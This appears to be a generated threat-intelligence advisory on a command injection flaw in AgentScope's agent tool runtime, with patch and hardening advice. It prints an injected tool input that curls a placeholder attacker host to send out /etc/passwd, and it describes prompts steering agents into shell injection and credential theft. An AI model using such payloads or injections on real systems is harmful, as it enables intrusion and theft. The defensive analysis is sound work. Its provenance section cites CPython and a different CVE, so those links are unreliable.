CVE-2026-123022: AgentScope Multi-Agent Platform OS Command Injection in Tool Execution
A critical command injection vulnerability (CVE-2026-123022) affects agentscope-ai AgentScope versions up to and including 2.0.11. In the agent tool execution pipeline, the subprocess.Popen implementation fails to sanitize input arguments passed from upstream model reasoning loops. Remote adversaries or malicious prompts can inject shell metacharacters, achieving arbitrary code execution on backend multi-agent orchestration nodes, harvesting API credentials, and escaping agent isolation boundaries. Upgrading to AgentScope 2.0.12 and enforcing strict gVisor/Docker sandboxes is recommended.
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION
Target:AgentScope Tool Runtime & subprocess.Popen Pipeline (<= 2.0.11) 1. Vulnerability Architecture & Exploit Mechanics
Section titled โ1. Vulnerability Architecture & Exploit MechanicsโAgentScope is a widely deployed multi-agent platform designed to coordinate autonomous LLM swarms across diverse workflows, including web search, code interpretation, and database interactions. During dynamic tool invocation, AgentScope invokes external processes via Pythonโs subprocess.Popen:
# Vulnerable tool invocation pattern in AgentScopedef execute_tool_command(command_str: str): # Shell execution with unescaped prompt-synthesized string proc = subprocess.Popen(command_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = proc.communicate() return stdout.decode()Because shell=True was utilized without strict argument array factorization (["binary", "arg1", "arg2"]), an adversary capable of injecting payload tokens into prompt context or triggering tool execution via API parameters can inject shell operators (&&, ;, |):
# Injected tool parameter triggering remote command executiontool_input="clean_data.py; curl -s https://attacker-c2.internal/exfil?k=$(cat /etc/passwd | base64)"2. Impact on Enterprise AI Agent Swarms
Section titled โ2. Impact on Enterprise AI Agent Swarmsโ- Host Infrastructure Takeover: Attackers obtain ring-3 shell execution on orchestration clusters running AgentScope workers.
- LLM Secret Harvesting: Environment variables and configuration files containing OpenAI, DashScope, Gemini, and Anthropic API keys are exposed.
- Agent State Manipulation: Attackers can inject synthetic responses into the multi-agent shared conversation history, subverting downstream financial or operational decisions.
3. Threat Intelligence & Indicators of Compromise (IOCs)
Section titled โ3. Threat Intelligence & Indicators of Compromise (IOCs)โActionable Host & Runtime Indicators
Section titled โActionable Host & Runtime Indicatorsโ| Indicator Type | Observable / Indicator | Role / Context | Status |
|---|---|---|---|
| Command Injection | Parameters containing ;, &&, ` | `, or backticks | Malicious tool call payloads attempting shell escape |
| Process Lineage | Child shell /bin/sh -c spawned by python (AgentScope worker) | Anomalous shell creation under AI agent daemon | CRITICAL |
| Network Telemetry | Outbound HTTP/DNS requests to unrecognized C2 domains from worker pods | Data exfiltration or reverse shell session setup | MALICIOUS |
| Log Signature | agentscope.tool.execute: 'Executing unescaped shell string' | Tool runtime log warning | CONFIRMED |
4. Version Matrix & Patch Engineering
Section titled โ4. Version Matrix & Patch EngineeringโThe vulnerability was fixed in AgentScope version 2.0.12 by replacing subprocess.Popen(command_str, shell=True) with argument tokenization via shlex.split() and passing arguments as an immutable array:
| Product Branch | Vulnerable Versions | Fixed Release | Patch Status |
|---|---|---|---|
| AgentScope 2.0.x | <= 2.0.11 | 2.0.12 | Official Security Release |
| AgentScope 1.x | All versions | Migrate to 2.0.12 | Major Version Upgrade Recommended |
5. Remediation & Hardening Guidelines
Section titled โ5. Remediation & Hardening Guidelinesโ- Upgrade AgentScope: Update immediately to AgentScope version
2.0.12or newer where shell invocation is eliminated and parameters are passed as isolated string arrays. - Container Sandboxing: Run all agent tool executions inside isolated, unprivileged Docker or WebAssembly (Wasm) micro-sandboxes.
- Enforce AAP-003 Tool Guardrails: Deploy strict schema validation and parameter type casting before passing parameters to native runtime tools.
CVE-2026-123022: AgentScope Multi-Agent Platform OS Command Injection in Tool ExecutionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
๐ Why is this related? (Evidence & Provenance)
“CVE-2026-123022 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)